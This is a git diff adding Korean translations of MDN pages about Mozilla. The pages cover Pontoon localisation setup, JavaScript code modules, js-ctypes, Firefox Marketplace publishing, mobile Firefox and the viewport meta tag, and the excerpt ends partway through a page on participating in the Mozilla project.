diff --git a/files/ko/mozilla/implementing_pontoon_in_a_mozilla_website/index.html b/files/ko/mozilla/implementing_pontoon_in_a_mozilla_website/index.html new file mode 100644 index 0000000000..f839f06acd --- /dev/null +++ b/files/ko/mozilla/implementing_pontoon_in_a_mozilla_website/index.html @@ -0,0 +1,73 @@ +--- +title: 모질라 프로젝트에서 Pontoon 실행하기 +slug: Mozilla/Implementing_Pontoon_in_a_Mozilla_website +translation_of: Mozilla/Implementing_Pontoon_in_a_Mozilla_website +--- +

Pontoon 은 보는 대로 얻을 수 있는 웹기반 지역화 도구입니다. 모질라에서는 현재 다양한 모질라 프로젝트와 Gaia라고 알려진 파이어 폭스 OS 인터페이스를 지역화시키기 위하여 폰툰을 사용하고 있습니다. 폰툰은 매우 간단하고 직관적인 도구입니다. 이는 지역화를 위한 시간을 줄여주기 위하여 어떤 전문적인 기술을 요구하지 않습니다. 여기서 저희는 어떻게 폰툰을 당신의 모질라 프로젝트에 추가하는지 이야기할 것입니다.

+ +
+

폰툰을 개선하고 싶으신가요? GitHub에서 어떻게 관여하는지 배우세요.

+
+ +
+

단지 당신의 l10n 프로젝트를 시작하고 싶으신가요? getting your project localized를 확인하세요

+
+ +

A. 당신의 프로젝트를 번역할 수 있도록 만드세요

+ +

저희는 모질라 프로젝트를 지역화하기 위한 표준이 되는 best practices 이 이미 있다는 것을 알고 있지만, 그 방법들을 여기에 추가하는 것이 기억하기에 좋다고 생각하였습니다. 

+ +
    +
  1. 당신의 프로젝트가 l10n 프레임 워크들중 하나를 지원한다는 것을 보증하세요(gettext, XLIFF, L20n, lang, properties, etc.).
  2. +
  3. resource files에 번역할만한 문자들을 넣어주세요
  4. +
  5. resource files를 저장소(SVN, HG, Git) 에 Push하세요 +
      +
    • 각각의 지역 폴더들은 반드시 그 디렉토리 트리의 같은 레벨에 위치하고 있어야 합니다. Source locale은 영어로 templates라고 불릴 필요가 있습니다. 당신은 이러한 목적을 위하여 섬세한 지역 폴더를 생성하기 원할지도 모릅니다. 지역 코드는 반드시 그 파일명의 일부가 되서는 안됩니다.
    • +
    • 올바른 패턴: +
      /locales/{locale_code}/path/to/file.extension
      +
    • +
    • 부적절한 패턴: +
      /locales/{locale_code}/path/to/file.{locale_code}.extension
      +
    • +
    +
  6. +
  7. 폰툰이 저장소에 쓰기 권한을 가질 수 있도록 확인하세요. + +
  8. +
+ +

B. (선택사항) 당신의 웹 프로젝트의 in-page 지역화를 활성화하세요

+ +
    +
  1. 폰툰이 당신의 사이트에 접속하고, 내용을 찾아 올바르게 번역할 수 있도록 HTML <body> element로 부터 오는 스크립트를 연결하세요. + +
  2. +
  3. 만약 당신의 사이트가 CSP를 사용한다면, 부디 다음의 사항들이 pontoon.mozilla.org 도메인에 허가될 수 있도록 확인해주세요 +
      +
    1. iframe 내부를 로딩하는 것
    2. +
    3. 멀리 있는 CSS를 로딩하는 것
    4. +
    5. 멀리 있는 이미지들을 로딩하는 것
    6. +
    +
  4. +
  5. 만약 당신의 사이트가 X-Frame-Options header를 사용한다면, 부디 iframe 내부가 도메인에 허가될 수 있도록 확인해주세요
  6. +
  7. 당신의 사이트가 HTTPS를 지원하는지 확인해주세요. HTTPS는 무료이며, 자동적으로 열립니다. 암호화합시다!
  8. +
+ +

C. 폰툰에 당신의 프로젝트를 추가하세요

+ +

당신의 프로젝트는 이제 폰툰에 설치될 준비가 되었습니다. 부디 Localization Infrastructure and Tools :: Administration / Setup에 버그를 기록하여 주세요 그리고 아래 사항 정보들을 제공해 주세요

+ + + +

더 자세한 사항을 원한다면, Project Management Team과 연락해주세요.

diff --git a/files/ko/mozilla/index.html b/files/ko/mozilla/index.html new file mode 100644 index 0000000000..c39c3f9a70 --- /dev/null +++ b/files/ko/mozilla/index.html @@ -0,0 +1,21 @@ +--- +title: Mozilla +slug: Mozilla +tags: + - NeedsTranslation + - TopicStub + - 모질라 + - 시작하기 + - 애드온 + - 앱 + - 조언 + - 코딩스크립팅 +translation_of: Mozilla +--- +
아래 목록에는 모질라 코드를 다운로드, 빌드하는 방법 뿐 아니라, 어떻게 코드가 동작하는지, 모질라 애플리케이션의 애드-온을 어떻게 빌드하는지 등이 포함되어있습니다. 
+ +
 
+ +

 

+ +
{{LandingPageListSubpages}}
diff --git a/files/ko/mozilla/javascript_code_modules/index.html b/files/ko/mozilla/javascript_code_modules/index.html new file mode 100644 index 0000000000..9c4987b787 --- /dev/null +++ b/files/ko/mozilla/javascript_code_modules/index.html @@ -0,0 +1,97 @@ +--- +title: JavaScript code modules +slug: Mozilla/JavaScript_code_modules +translation_of: Mozilla/JavaScript_code_modules +--- +

자바스크립트(영어: JavaScript)는 객체 기반의 스크립트 프로그래밍 언어이다. 이 언어는 웹브라우저 내에서 주로 사용하며, 다른 응용 프로그램의 내장 객체에도 접근할 수 있는 기능을 가지고 있다. 또한 Node.js와 같은 런타임 환경과 같이 서버 사이드 네트워크 프로그래밍에도 사용되고 있다. 자바스크립트는 본래 넷스케이프 커뮤니케이션즈 코퍼레이션의 브렌던 아이크(Brendan Eich)가 처음에는 모카(Mocha)라는 이름으로, 나중에는 라이브스크립트(LiveScript)라는 이름으로 개발하였으며, 최종적으로 자바스크립트가 되었다JavaScript 코드 모듈을 사용하면 여러 개의 권한이 부여 된 JavaScript 범위에서 코드를 공유 할 수 있습니다. 예를 들어, 코드 중복을 피하기 위해 파이어 폭스 자체뿐만 아니라 확장 모듈에서도 모듈을 사용할 수 있습니다.

+ +
+

These are not the same thing as standard JavaScript modules. See {{jsxref("Statements/export", "export")}} and {{jsxref("Statements/import", "import")}} to learn more about how to use standard modules.

+
+ +

General topics

+ +
+
Using JavaScript code modules
+
An introduction to how to use JavaScript code modules.
+
Components.utils.import
+
How to import a JavaScript code module.
+
Components.utils.unload
+
How to unload a JavaScript code module.
+
Code snippets: Modules
+
Examples of how to use code modules.
+
Mozilla Labs JS Modules
+
This page features a list of JavaScript modules, along with download links and documentation, that extension developers can use in their code.
+
+ +
+
+ +

Standard code modules

+ +
+
AddonManager.jsm
+
An interface to install, manage, and uninstall add-ons.
+
AddonRepository.jsm
+
Provides a search of add-ons in the repository.
+
Assert.jsm
+
Implements the CommonJS Unit Testing specification version 1.1, which provides a basic standardized interface for performing in-code logical assertions with optional, customizable error reporting.
+
BookmarkHTMLUtils.jsm
+
Provides utility functions for importing and exporting bookmarks from the old-school "bookmarks.html" style bookmark files.
+
ctypes.jsm
+
Provides an interface that allows JavaScript code to call native libraries without requiring the development of an XPCOM component.
+
CustomizableUI.jsm
+
Allows you to interact with customizable buttons and items in Firefox's main window UI.
+
DeferredTask.jsm
+
Run a task after a delay.
+
Dict.jsm
+
Provides an API for key/value pair dictionaries.
+
DownloadLastDir.jsm
+
Supplies the path to the directory into which the last download occurred.
+
Downloads.jsm
+
Provides a single entry point to interact with the downloading capabilities of the platform.
+
FileUtils.jsm
+
Provides helpers for dealing with files.
+
Geometry.jsm
+
Provides routines for performing basic geometric operations on points and rectangles.
+
HTTP.jsm
+
A wrapper for XMLHttpRequest that provides convenient and simplified API for dealing with HTTP requests.
+
JNI.jsm
+
Abstracts the js-ctypes to provide an interface that allows JavaScript code to call code running in native JVMs.
+
ISO8601DateUtils.jsm
+
Provides routines to convert between JavaScript Date objects and ISO 8601 date strings.
+
Log.jsm (formerly log4moz)
+
Provides a log4j style API for logging, log messages to various endpoints, such as the Browser Console or a file on disk. 
+
NetUtil.jsm
+
Provides helpful networking utility functions, including the ability to easily copy data from an input stream to an output stream asynchronously.
+
openLocationLastURL.jsm
+
Provides access to the last URL opened using the "Open Location" option in the File menu.
+
OSFile.jsm
+
Allows routines to access files. To which can be read, write, rename, create directories,etc.
+
PerfMeasurement.jsm
+
Provides access to low-level hardware and OS performance measurement tools.
+
PluralForm.jsm
+
Supplies an easy way to get the correct plural forms for the current locale, as well as ways to localize to a specific plural rule.
+
PopupNotifications.jsm
+
Gives an easy way to present non-modal notifications to users.
+
Promise.jsm
+
Implements the Promises/A+ proposal as known in April 2013.
+
PromiseWorker.jsm
+
A version of {{domxref("ChromeWorker")}} which uses Promises to return the worker's result instead of using an event to do so.
+
Services.jsm
+
Provides getters for conveniently obtaining access to commonly-used services.
+
source-editor.jsm
+
The Source Editor is used by developer tools such as, the Style Editor; this interface implements the editor and lets you interact with it.
+
Sqlite.jsm
+
A Promise-based API to mozIStorage/SQLite.
+
Task.jsm
+
Implements a subset of Task.js to make sequential, asynchronous operations simple, using the power of JavaScript's yield operator.
+
Timer.jsm
+
A pure JS implementation of window.setTimeout.
+
Webapps.jsm
+
Provides an interface to manage Open Web Apps.
+
WebRequest.jsm
+
Provides an API to add event listeners for the various stages of making an HTTP request. The event listener receives detailed information about the request, and can modify or cancel the request.
+
XPCOMUtils.jsm
+
Contains utilities for JavaScript components loaded by the JS component loader.
+
diff --git a/files/ko/mozilla/js-ctypes/index.html b/files/ko/mozilla/js-ctypes/index.html new file mode 100644 index 0000000000..83634cf2ce --- /dev/null +++ b/files/ko/mozilla/js-ctypes/index.html @@ -0,0 +1,53 @@ +--- +title: js-ctypes +slug: Mozilla/js-ctypes +translation_of: Mozilla/js-ctypes +--- +

js-ctypes 에서는 응용 프로그램과 확장코드가 C로 작성된 네이티브 코드를 통해 앞뒤로 호출할 수 있습니다. C++지원이 제한되니 {{bug("505907")}} 완전히 지원을 바랍니다. binary XPCOM 구성 요서와는 달리,개발자가 파이어 폭스의 여러버전과 함께 사용할 수 있는 단일 바이너리를 출시할 수 있습니다.

+
+ 참고: js-ctypes는 크롬 코드에서만 사용할 수 있습니다. 즉, ctypes의 전용 응용 프로그램 및 확장 코드는 웹 사이트에 사용할 수 없습니다.
+ + + + + + + +
+

문서

+
+
+ 소개: js-ctypes에 사용하기
+
+ ctypes 사용하기 시직하기.
+
+ JS-ctypes 참조
+
+ js-ctypes API에 대한 참조설명서를 참조하십시오.
+
+ 표준 OS 라이브러리
+
+ 다른 운영 체제의 표준 라이브러리에 대한 문서. (예: 함수는 Windows에서 어떤 DLL을 필요로 하는지에 대한 문서)
+
+ 질문
+
+ ctypes에 대해 자주 묻는 질문
+
+

모두 보기...

+

예시

+ iPhoto 추가하기 +
+
+ Firefox에서 "iPhoto에서 이미지를 추가"하는 기능을 구현하는 맥 OS X의 Carbon과 Core Foundation framework routines을 호출하여 JS-ctypes에 사용하는 Firefox 확장기능.
+
+
+

커뮤니티

+
    +
  • Mozilla 포럼 보기...{{DiscussionList("dev-extensions", "mozilla.dev.extensions")}}
  • +
+ + +
+

 

diff --git "a/files/ko/mozilla/marketplace/publishing/\354\206\214\352\260\234/index.html" "b/files/ko/mozilla/marketplace/publishing/\354\206\214\352\260\234/index.html" new file mode 100644 index 0000000000..4dc1f99578 --- /dev/null +++ "b/files/ko/mozilla/marketplace/publishing/\354\206\214\352\260\234/index.html" @@ -0,0 +1,84 @@ +--- +title: 소개 — 앱 출판 +slug: Mozilla/Marketplace/Publishing/소개 +tags: + - Firefox OS + - Marketplace + - 마켓플레이스 + - 시작 + - 앱 + - 인트로 +translation_of: Archive/Mozilla/Marketplace/Publishing/Introduction +--- +
So you've figured out how you'll make your app a success, chosen how to deliver it and seen the options for delivering it beyond Firefox OS, and written and tested your code. Now it's time to make it available to users worldwide and publish it on Firefox Marketplace. This section provides a guide to all the tasks you need to perform to publish and update your Open Web Apps on Firefox Marketplace, as well as useful additional information.
+ +
 
+ +
+
+

출판 가이드

+ +
+
Submission checklist
+
This checklist will help you prepare for submitting your app.
+
Marketplace review
+
Understand the process and criteria used when your app is reviewed.
+
+ +

정책 및 가이드라인

+ +
+
Icons (App Center)
+
Get details of the icon sizes required for various releases of Firefox OS.
+
+ +
+
Icon design (Mozilla Style Guide)
+
Your app or in-app product icons may follow a circlar or square design, find out more from the Mozilla Style Guide.
+
+ +
+
Privacy Policies
+
If your app uses personal data about a user, it must have a privacy policy. These guidelines cover the information you need to include in your app's privacy policy.
+
+ +
+
Screenshot guidelines
+
These guidelines provide information on the best approaches to the screenshots  you include in your app's Marketplace listing.
+
App testing and troubleshooting
+
These guidelines provide information on setting up a test environment, testing your app and troubleshooting issues you may find.
+
+
+ +
+

앱 제출

+ +
+
App submission process guide
+
So you're ready to publish your first app, or want to publish an app with a packaging method or features you haven't used before, get step-by-step instructions for submitting your app to Firefox Marketplace.
+
+ +

앱 업데이트하기

+ +
+
Updating apps
+
Maintaining the momentum behind your app means offering users regular updates; for new features and, although we all hope not, bug fixes. This page provides the information you need on how to deliver your app updates through Firefox Marketplace.
+
+ +

출시된 앱 관리

+ +
+
App management guide
+
Your app is published and you now want to make changes or find out how well it's been received. In this section discover how to change your app status, review statistics, and check your reviews and ratings on Firefox Marketplace.
+
+ +

추가 도구

+ +
+
Adding a subdomain for your app
+
If you want to offer more than one hosted app from your website, you'll need to create a subdomain for each one. This page explains how.
+
+
+
+ +

 

diff --git a/files/ko/mozilla/marketplace/submission/index.html b/files/ko/mozilla/marketplace/submission/index.html new file mode 100644 index 0000000000..1c01f1e00d --- /dev/null +++ b/files/ko/mozilla/marketplace/submission/index.html @@ -0,0 +1,9 @@ +--- +title: Submission +slug: Mozilla/Marketplace/Submission +tags: + - NeedsTranslation + - TopicStub +translation_of: Archive/Mozilla/Marketplace/Submission +--- +

Marketplace submission

diff --git a/files/ko/mozilla/marketplace_kr/index.html b/files/ko/mozilla/marketplace_kr/index.html new file mode 100644 index 0000000000..e36b711de6 --- /dev/null +++ b/files/ko/mozilla/marketplace_kr/index.html @@ -0,0 +1,137 @@ +--- +title: Firefox 마켓플레이스 +slug: Mozilla/Marketplace_KR +tags: + - Firefox OS + - 개관 + - 마켓플레이스 + - 비기너 + - 시작 + - 시작자 + - 아마추어 + - 앱 + - 어플리케이션 + - 우선사항 + - 응용프로그램 + - 인트로 + - 초심자 +translation_of: Archive/Mozilla/Marketplace +--- +
Firefox Marketplace는 개방되고 독점되지 않은 HTML5를 이용해서 만들어진 응용 프로그램들을 위한 온라인 장터입니다. 이곳에서는 당신의 응용프로그램을 Firefox Marketplace에 출판하기 위한 정보들을 찾을 수 있습니다. 응용프로그램들을 성공적으로 만들고 전달하고, 출판하고 업데이트하며 Marketplace의 기능을 이용하기 위한 라이브러리들과 API들을 찾아보세요.
+ +
+

파이어폭스 마켓플레이스는 크로스 플랫폼을 지원하는 열린 웹앱환경을 이용한 앱을 출판할 수 있는 곳입니다. Mozilla는 세상 모든 응용프로그램들에 대해 다음과 같은 가치를 추구합니다. - 공개성, 자유성, 사용자 선택성

+
+ +
+
+
+

 표준화된 웹 기술, 언어, 도구, 그리고 Firefox Marketplace 를 사용하여 Open Web Apps 를 출시할 수 있습니다. 이러한 응용프로그램들은 패키징되고 Firefox OS에서 구동되거나 당신의 웹 서버에 호스팅될 수 있습니다. 출시된 응용프로그램들은 Firefox OS 스마트폰 사용자에게 그들이 어디에 있든 제공됩니다. 사용자들은 당신의 응용프로그램을 Firefox Marketplace내의 추천 응용프로그램, 카테고리, 강력한 검색기능을 이용해 쉽게 찾을 수 있습니다. 또한 사용자들은 빠르게 무료 응용프로그램들을 설치하거나 유료 응용프로그램들을 신용카드나 다른 수단을 통해 구매할 수 있습니다.

+
+
+
+ +
+
+

+ +

성공을 위한 준비

+ +
+
당신이 기쁨을 위해서, 또는 돈을 목적으로 응용프로그램을 만들지라도 당신은 사람들이 당신이 만든것을 찾고, 사용하고, 즐기기를 원할 것입니다. 이곳에서는 당신이 어떻게 소문을 내고 만족스러운 사용자들을 위해 커뮤니티를 만드는 방법을 설명합니다.
+
+ +

공개 옵션

+ +
+
패키징되거나 호스팅되거나, 그것이 문제로다. 당신의 응용프로그램 콘텐츠들을 사용자들에게 전달하는 방법과 안드로이드 기기 또는 데스크톱, 그리고 Firefox Os에서 응용프로그램을 사용할 수 있게 해주는 옵션들을 찾아보세요.
+
+ +

응용프로그램 출판

+ +
+
당신의 응용프로그램들을 대기상태에서 놓아주세요. 응용프로그램들을 제출하고, 평가받고, 업데이트하고, 실적을 모니터링하고, 사용자들의 피드백을 받는 과정들과 같은 Firefox Marketplace에서의 응용프로그램 등록 방법을 찾아보세요.
+
+
+ +

앱 개발자들을 위한 도구들

+ +
+
Firefox Marketplace 라이브러리 및 API 당신의 마켓플레이스 응용프로그램에 추가할 라이브러리 및 API를 찾아보세요.
+
응용프로그램 개발자 도구 당신이 오픈 웹 응용프로그램 개발에 효율적이고 재밋게 사용할 수 있는 도구들의 완벽한 목록을 찾아보세요.
+
WebIDE Firefox OS 시뮬레이터를 사용하거나 실제의 Firefox OS 기기를 이용하여 당신의 Firefox OS 응용프로그램에 대한 테스트, 배치 및 디버깅을 할 수 있는 기본 도구입니다.
+
+
+ +

목차

+ +
    +
  1. 성공을 위한 준비 + +
      +
    1. 소개
    2. +
    3. 무엇을 만들지 정합니다
    4. +
    5. 당신의 사용자들을 파악합니다
    6. +
    7. 당신의 비즈니스 모델을 선정합니다
    8. +
    9. 당신의 응용프로그램들을 지역화합니다
    10. +
    11. 당신의 응용프로그램을 홍보합니다
    12. +
    13. 당신의 커뮤니티를 만드세요
    14. +
    +
  2. +
  3. 출시 옵션 +
      +
    1. 소개
    2. +
    3. 패키징된 응용프로그램
    4. +
    5. 호스팅된 응용프로그램
    6. +
    7. 패키징과 호스팅이란?
    8. +
    9. 모바일에 최적화된 웹사이트
    10. +
    11. 응용프로그램을 스스로 출시해보세요
    12. +
    +
  4. +
  5. 응용프로그램 출시 미리보기 +
      +
    1. 소개
    2. +
    3. 제출전 확인사항
    4. +
    5. 마켓플레이스 리뷰 표준
    6. +
    7. 마켓플레이스 공개행사 표준
    8. +
    9. 응용프로그램을 위한 서브도메인 추가
    10. +
    11. 정책 및 가이드라인 +
        +
      1. 안내
      2. +
      3. 마켓플레이스 스크린샷 표준
      4. +
      5. 개인 정책
      6. +
      7. 응용프로그램 테스트 및 원인분석
      8. +
      +
    12. +
    +
  6. +
  7. 당신의 응용프로그램을 제출하기 +
      +
    1. 개관
    2. +
    3. Step 1: 가입
    4. +
    5. Step 2: 응용프로그램 불러오기
    6. +
    7. Step 3: 세부사항 나열
    8. +
    9. Step 4: 다음단계
    10. +
    11. Step 5: 응용프로그램 평가
    12. +
    13. Step 6: 팀 맴버 정의
    14. +
    15. Step 7: 목록 보기
    16. +
    17. Step 8: 다른 지역의 지역화를 위한 편집
    18. +
    +
  8. +
  9. 출판된 응용프로그램 관리 및 업데이트 +
      +
    1. 소개
    2. +
    3. 당신의 응용프로그램 상태
    4. +
    5. 응용프로그램 업데이트
    6. +
    7. 별점
    8. +
    +
  10. +
  11. 추가제출 +
      +
    1. 추가제출 개관
    2. +
    3. 추가제출 리뷰 기준
    4. +
    +
  12. +
  13. 라이브러리 및 API
  14. +
  15. Firefox Marketplace FAQ
  16. +
diff --git a/files/ko/mozilla/mobile/index.html b/files/ko/mozilla/mobile/index.html new file mode 100644 index 0000000000..6431893f01 --- /dev/null +++ b/files/ko/mozilla/mobile/index.html @@ -0,0 +1,30 @@ +--- +title: Mobile +slug: Mozilla/Mobile +translation_of: Mozilla/Mobile +--- +

Firefox OS

+ +

Firefox OS는 사용자 인터페이스와 HTML, CSS 및 JavaScript로 작성된 응용 프로그램을 구동하는 Linux와 Mozilla의 Gecko 엔진을 사용하는 오픈 소스 모바일 운영 체제입니다.

+ +

Firefox OS 설치 방법과 앱을 개발하는 방법에 대해서 살펴보십시오.

+ +
+
+
+
+
+
+
+ +

Firefox for Android

+ +

안드로이드 Firefox 안드로이드 기기를 위한 Mozilla 모바일 브라우저입니다. 최근에 안드로이드 자체 UI를 사용하도록 재개발 되어서 더 빠르고 응답성도 좋아졌습니다. 카메라나 전화기능과 같은 기기 자체의 기능에 접근하는 강력한 API를 제공합니다.

+ +

안드로이드용 Firefox를 만드는데 도움을 주는 방법이나 device API를 사용하는 방법, 모바일 부가 기능을 만드는 방법에 대해서 살펴보세요.

+ +

Mobile web development

+ +

모바일 장치는 데스크톱이나 노트북 컴퓨터와는 매우 다른 하드웨어 특징을 가지고 있으며 기기를 제어하는데 사용되는 API의 대부분은 아직 표준화 단계에 있습니다.

+ +

모바일 장치에서 보이는 웹 사이트를 개발하고 제공되는 새로운 가능성 활용하는 방법에 대해서 살펴보십시오. 웹 사이트가 다른 브라우저에서 작동하는지 확인하는 방법을 배웁니다.

diff --git a/files/ko/mozilla/mobile/viewport_meta_tag/index.html b/files/ko/mozilla/mobile/viewport_meta_tag/index.html new file mode 100644 index 0000000000..577fa0b5ee --- /dev/null +++ b/files/ko/mozilla/mobile/viewport_meta_tag/index.html @@ -0,0 +1,99 @@ +--- +title: viewport meta 태그를 이용해 모바일 브라우저상에서 레이아웃 조종하는 법 +slug: Mozilla/Mobile/Viewport_meta_tag +tags: + - viewport + - 레이아웃 + - 모바일 +translation_of: Mozilla/Mobile/Viewport_meta_tag +--- +

앞으로 공개될 Mobile Firefox (Fennec) 1.1 에는 개선된 <meta name="viewport"> 태그를 지원한다. 이전 버전의 Fennec에서 viewport 속성(property)으로 width, height, 그리고 initial-scale 가 지원되긴 했지만 iphone과 android 브라우저에 맞추어 디자인된 몇몇 사이트에서 문제가 있었다. 이제 모바일 safari 에서도 같은 속성들이 지원되며, Fennec을 고쳐서 여러가지 화면크기와 다른 해상도에서도 모바일 사이트들이 문제없이 나타나도록 했다.

+ +

이전 touch.facebook.com:

+ +

05-11-fennec-meta-viewport-2.png

+ +

개선후 touch.facebook.com:

+ +

05-11-fennec-meta-viewport-1.png

+ +

이러한 개선점들은 최신의 Fennec 1.1 와 Maemo, Windows, Mac, or Linux를 위한 trunk nightly 빌드에서 볼 수 있다.

+ +

배경설명

+ +

Fenec과 같은 모바일 브라우저들은 뷰포트(viewport)로 알려진 가상 "window"상에 페이지를 렌더링하는데, 보통의 경우 스크린 보다 폭이 넓어 모든 페이지 레이아웃을 억지로 작은 화면에 축소할 필요가 없다. (레이아웃을 축소할 경우 모바일 사이트로 만들지 않은 사이트들은 대개 엉망이 되게 마련이다.) 사용자들은 화면을 움직이거나 줌 기능을 이용해 페이지의 보이지 않는 부분들을 볼 수 있다.

+ +

모바일 Safari는 "viewport meta" 태그를 도입해서 웹 개발자들이 뷰포트의 크기와 스케일을 조정할 수 있게 했고, 웹 표준은 아니지만 많은 다른 모바일 브라우저들도 이 태그를 이제 지원한다. 애플의 문서를 통해 이 태그의 사용법을 자세히 알 수 있기는 하지만 Fenec내에서 정확히 어떻게 구현해야 할 것인가에 대해 상당한 연구가 진행되어야 했다. 예를 들어 사파리의 문서에는 페이지 컨텐트를 "comma-delimited list"라고 쓰고 있는데, 현존하는 브라우저와 웹페이지는 comma, semicolon, 그리고 space의 다양한 조합을 사용한다.

+ +

다양한 브라우저내의 뷰포트에 대해 더 배우고 싶으면 quirksmode.org에 있는 A Tale of Two Viewports 를 보라.

+ +

뷰포트 기본

+ +

모바일로 최적화된 사이트는 일반적으로 다음과 같은 태그를 포함한다:

+ +
<meta name="viewport" content="width=device-width, initial-scale=1">
+ +

width 속성은 뷰포트의 크기를 조정한다. 특정한 숫자를 사용해 width=600라고 할 수도 있고 device-width와 같은 특정한 값을 사용할 수도 있는데, device-width는 100% 스케일에서 CSS 픽셀들로 계산된 화면의 폭을 의미한다. (뷰포트의 높이에 따라 크기와 위치가 변하는 요소들로 이루어진 페이지의 경우 상응하는 heightdevice-height 값들이 유용하게 사용될 수 있다.)

+ +

initial-scale 속성은 페이지가 처음 로드될 때 줌 레벨을 조정한다. maximum-scale, minimum-scale, 그리고 user-scalable 속성들은 사용자가 얼마나 페이지를 줌-인, 줌-아우트 할 수 있는지를 조정한다.

+ +
+

user-scalable=no를 사용하면 저시력과 같은 시각 장애를 가진 사용자에게 접근성 문제를 일으킬 수 있습니다.

+
+ +

픽셀은 사실 픽셀이 아니다

+ +

iPhone과 인기가 많은 다양한 안드로이드 폰은 3에서 4인치 (7-10센티미터) 스크린으로 320-480픽셀 (~160 dpi)로 이루어져 있다. 동일한 물리적 스크린을 갖는 Nokia N900에서 구동되는 Maemo의 파이어폭스는 480-800픽셀(~240dpi)이다. 이러한 이유로 Fennec의 최신 버전에서 보여지는 웹페이지들은 아이폰이나 안드로이드에 비해 1/3정도 작기 때문이다(실제 물리적으로). 이는 터치인터페이스에 최적화된 웹사이트에서 사용성과 가독성의 문제를 야기시킨다. Peter-Paul Koch가 이 문제에 대해 픽셀은 사실 픽셀이 아니다를 작성하였다.

+ +

Maemo 의 Fennec 1.1는 안드로이드의 웹킷기반 브라우저에 의해 각 CSS의 "픽셀"을 1.5 하드웨어 픽셀로 사용한다. 이는 initial-scale=1 로 정의된 페이지를 Maemo의 Fennec과 아이폰의 사파리, 그리고 HDPI 와 MDPI 모두의 안드로이드 브라우저에서 거의 동일한 물리적 사이즈로 렌더링한다는 뜻이다. 이는 CSS 2.1 명세서에 의해 아래와 같이 정의되어있다:

+ +
+

만약 출력장치의 픽셀밀도가 일반적인 컴퓨터 디스플레이와 상이하게 다를경우, user agent는 반드시 픽셀값을 조절해야 한다. It is recommended that the pixel unit refer to the whole number of device pixels that best approximates the reference pixel. It is recommended that the reference pixel be the visual angle of one pixel on a device with a pixel density of 96dpi and a distance from the reader of an arm's length. 

+
+ +

웹 개발자들에게 이는 세로모드에서 scale=1로 지정됐을 경우, 위에서 언급된 장치들상에서  320px이 가로로 최대가 되어야 하며,  역시 레이아웃과 이미지들도 마찬가지로 조절이 되어야 함을 의미한다. 하지만 모든 모바일 장치들이 같은 가로 값을 가지지 않는다는 점을 기억해야한다. 작성된 페이지는 가로모드뿐만 아니라, 아이패드와 안드로이드 타블렛과 같은 더 큰 장치들에서도 잘 동작되어야 한다.

+ +

240-dpi 화면상에서, initial-scale=1로 정의된 페이지는 Fennec과 안드로이드 웹킷에서 150%로 확대된다. 페이지의 텍스트들은 부드럽고 또렷해질것이나, 아마도 비트맵 이미지들은 최대 해상도에서 이점을 가지지 못한다. 이러한 스크린에서 또렷한 이미지를 보여주기 위해서는, 이미지나 전체적인 레이아웃을 최종 디자인의 150%(아이폰의 레티나 디스플레이와 같은 320-dpi장치들을 지원하기 위해서는 200%이다)로 작성하고, CSS나 viewport속성을 이용해 사이즈를 줄여 보여줄수도 있다.

+ +

기본 비율은 디스플레이의 밀도에 따라 달라진다. 200dpi이하의 밀도를 갖는 디스플레이에서는 1.0이다. 200에서 300dpi사이의 장치에서는, 1.5가 된다. 300dpi이상의 장치에서는 소수점 없는 정수가 된다.(밀도/150dpi). 기본 비율은 viewport 크기가 1일때만 참이 됨을 기억하라. 그렇지 않을 경우 CSS픽셀과 장치의 픽셀간 관계는 현재의 zoom 레벨에 따라 달라진다.

+ +

뷰포트 너비 와 스크린 너비

+ +

많은 사이트에서 세로보기 모드로 iPhone 디스플레이에 정확하게 맞도록 뷰포트의 너비를 "width = 320, initial-scale = 1"로 설정합니다. 위에서 언급했듯이 Fennec1.0에서 특히 디스플레이가 가로 모드일때 문제가 발생했습니다. 이 문제를 해결하기 위해 Fennec 1.1은 필요한 경우 화면을 채우기 위해 뷰포트 너비를 확장합니다. 이런 현상은 Android 및 Mobile Safari의 동작과 일치하며 특히 iPad와 같은 대형 스크린 장치에 유용합니다. (Allen Pike의 iPad 사이트 용 뷰포트를 선택하여 적용해 보세요.)

+ +

For pages that set an initial or maximum scale, this means the width property actually translates into a minimum viewport width. For example, if your layout needs at least 500 pixels of width then you can use the following markup. When the screen is more than 500 pixels wide, the browser will expand the viewport (rather than zoom in) to fit the screen:

+ +
<meta name="viewport" content="width=500, initial-scale=1">
+ +

Fennec 1.1 also adds support for minimum-scale, maximum-scale, and user-scalable, with defaults and limits similar to Safari's. These properties affect the initial scale and width, as well as limiting changes in zoom level.

+ +

Mobile browsers handle orientation changes slightly differently. For example, Mobile Safari often just zooms the page when changing from portrait to landscape, instead of laying out the page as it would if originally loaded in landscape. If web developers want their scale settings to remain consistent when switching orientations on the iPhone, they must add a maximum-scale value to prevent this zooming, which has the sometimes-unwanted side effect of preventing users from zooming in:

+ +
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
+ +

This is not necessary in Fennec; when the device changes orientation, Fennec updates the viewport size, the page layout, and JavaScript/CSS properties like device-width, based on its new window dimensions.

+ +

모바일과 태블릿에 대한 일반 viewport 크기

+ +

If you are wanting to know what mobile and tablet devices have which viewport widths, there is a comprehensive list of 모바일 및 태블릿 뷰포트 크기. This gives information such as viewport width on portrait and landscape orientation as well as physical screen size, operating system and the pixel density of the device.

+ +

표준

+ + + + + + + + + + + + + + + + +
사양상태댓글
{{SpecName('CSS3 Device', '#viewport-meta', '<meta name="viewport">')}}{{Spec2('CSS3 Device')}}Non-normatively describes the Viewport META element
+ +

There is clearly demand for the viewport meta tag, since it is supported by most popular mobile browsers and used by thousands of web sites. It would be good to have a true standard for web pages to control viewport properties. As the standardization process proceeds, we at Mozilla will work to make sure we can implement any changes made during standardization.

diff --git a/files/ko/mozilla/participating_in_the_mozilla_project/index.html b/files/ko/mozilla/participating_in_the_mozilla_project/index.html new file mode 100644 index 0000000000..834c5cb808 --- /dev/null +++ b/files/ko/mozilla/participating_in_the_mozilla_project/index.html @@ -0,0 +1,98 @@ +--- +title: Participating in the Mozilla project +slug: Mozilla/Participating_in_the_Mozilla_project +translation_of: Mozilla/Participating_in_the_Mozilla_project +--- +

버그를 고치거나 모질라 플랫폼 코드를 개선하는 작업에 관심이 있다면, 이 곳은 여러분이 작업하는데 필요한 문서를 찾을 수 있는 곳 입니다.

+ + + + + + + +
+

General topics

+
+
+ Mozilla developer guide
+
+ 모질라 코드베이스 개선을 위한 개발 팁과 가이드.
+
+ Mozilla source code
+
+ 다운로드 또는 버전 컨트롤을 통해서 모질라 코드를 얻는 방법과 여러분이 수정한 코드를 소스 코드 트리에 포함시키는 방법에 관한 정보.
+
+ Build documentation
